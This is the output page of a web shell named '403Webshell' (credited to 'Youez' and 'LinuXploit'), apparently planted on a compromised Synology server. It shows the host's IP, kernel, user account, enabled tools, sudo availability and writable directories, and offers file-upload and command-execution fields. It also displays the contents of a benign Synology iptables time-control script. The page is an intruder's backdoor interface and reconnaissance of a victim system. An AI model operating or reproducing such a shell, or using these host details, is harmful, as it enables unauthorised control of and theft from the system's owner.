403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/etc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/etc/iptables_time_ctrl.sh
#!/bin/sh
# Copyright (c) 2000-2013 Synology Inc. All rights reserved.
# For iptables rule
TIME_CTRL_TOOL="/usr/syno/sbin/synotimecontrol"
TIME_CTRL_TOOL_TMP="/tmp/synotimecontrol"
TIME_CTRL_CONF="/etc/parental/timectrl.conf"

# return:
# 0 - disable
# 1 - enable
is_time_ctrl_rule_enable()
{
	if [ ! -f ${TIME_CTRL_CONF} ]; then
		return 0
	fi

	return 1
}

startTimeCtrl()
{
	is_time_ctrl_rule_enable
	if [ $? -eq 1 ]; then
		/bin/cp -f ${TIME_CTRL_CONF} /tmp/
		/bin/cp -f ${TIME_CTRL_TOOL} ${TIME_CTRL_TOOL_TMP}
		${TIME_CTRL_TOOL_TMP} --apply
	fi
}

stopTimeCtrl()
{
	if [ -f ${TIME_CTRL_TOOL_TMP} ]; then
		${TIME_CTRL_TOOL_TMP} --disable
	fi
}

case "$1" in
	start)
		startTimeCtrl
	;;
	stop)
		stopTimeCtrl
	;;
	*)
		echo "Usage: $0 [start|stop]"
		exit 1
	;;
esac
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit